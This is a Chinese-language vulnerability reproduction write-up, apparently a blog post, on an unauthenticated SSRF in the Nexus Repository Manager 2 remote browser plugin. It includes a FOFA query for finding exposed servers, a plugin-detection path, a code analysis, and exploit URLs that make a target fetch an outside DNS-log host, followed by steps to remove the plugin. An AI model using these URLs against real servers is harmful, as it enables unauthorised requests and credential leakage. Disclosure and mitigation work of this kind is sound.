CVE-2025-9868 Nexus Repository 2 – 远程浏览器插件导致的未授权 SSRF 漏洞复现
漏洞概况
漏洞发现日期:2025年10月8日
受影响的版本:所有 Sonatype Nexus Repository Manager 2.x OSS/Pro 版本
概括:
Nexus Repository 2 中发现了一个漏洞。
攻击者可以利用远程浏览器插件向攻击者控制的服务器发送任意 HTTP GET 请求。如果受影响的 Nexus Repository Manager 2 实例配置了代理存储库的身份验证,则凭据可能会泄露给攻击者。此漏洞无需身份验证即可利用。
Nexus Repository Manager 2 已于 2025 年 6 月停产,目前尚未收到任何安全补丁。Sonatype 不会发布针对此问题的修复程序。
推荐:
Sonatype Nexus Repository Manager 2.x 已终止服务,继续使用不安全。我们强烈建议剩余部署迁移到 Sonatype Nexus Repository 3。
如果无法立即迁移,我们建议采取以下缓解措施:
- 禁用或删除 Nexus Repository 2.x 中的远程浏览器插件。
- 将 Nexus Repository Manager 2.x 实例置于限制出站连接的限制性反向代理或防火墙后面。
漏洞复现
fofa: body=”Nexus Repository Manager OSS”
POC
访问/nexus-rrb-plugin/default/docs/index.html 路径,存在即证明存在该插件
漏洞分析
源代码地址:https://github.com/sonatype/nexus-public/
主要漏洞代码在 plugins/basic/nexus-rrb-plugin/src/main/java/org/sonatype/nexus/plugins/rrb/RemoteBrowserResource.java 中。
1. URL 路径定义
如下图,定义了 REST 接口的 URL 模版,其中{repositoryId}是占位符,后续会从 URL 中提取实际值,这是用户输入进入系统的入口,repositoryId 和后续的 remotePath 均有用户控制。
2. 提取repositoryId(初步校验)
从请求中的 URL 中提取repositoryId,仅提取值,未做校验,但后续会校验仓库是否存在,此处不直接产生风险,但repositoryId 的合法性校验不足以为后续请求“背书”。
3. 提取并处理 remotePath(核心风险点 1)
从请求中提取完全由用户控制输入的 remotePath,并尝试 URL 解码,未进行任何安全校验,故攻击者可构造恶意 remotePath,例如路径穿越或绝对路径。
4. 校验仓库存在性与 SSRF
通过repositoryIds查询系统中是否存在对应的仓库,若不存在则抛出NoSuchRepositoryException异常。同时 createHttpClient 发起 HTTP 请求,并在后续返回 data。
EXP
确定repositoryId,通常默认会存在”central”
构造 URL 并访问
SSRF dnslog:https://x.com/service/local/repositories/central/remotebrowser/http://n2.fb2266405d.ddns.1433.eu.org
SSRF biadu.com:https://x.com/service/local/repositories/central/remotebrowser/http://www.baidu.com
修复方法
Nexus Repository Manager 2 已于 2025 年 6 月停产,目前尚未收到任何安全补丁。Sonatype 不会发布针对此问题的修复程序。所以进行删除插件操作:
1.停止Nexus存储库
在进行任何更改之前,请停止 Nexus 服务:
<install_dir>/bin/nexus stop
或者,如果作为系统服务进行管理:
sudo systemctl stop nexus
- 找到插件目录
导航到 Nexus 安装中的插件存储库目录:
cd <nexus_install_dir>/nexus/WEB-INF/plugin-repository/
查找 RRB 插件文件夹:
ls | grep nexus-rrb-plugin
3.删除RRB插件
删除整个 RRB 插件目录:
rm -rf nexus-rrb-plugin-*
4.启动Nexus存储库
删除后,重新启动服务:
<install_dir>/bin/nexus start
或者:
sudo systemctl start nexus
该插件现已移除,将不再加载。查看仓库时,“浏览远程”选项卡将不再可用。















发表评论
您还未登录,请先登录。
登录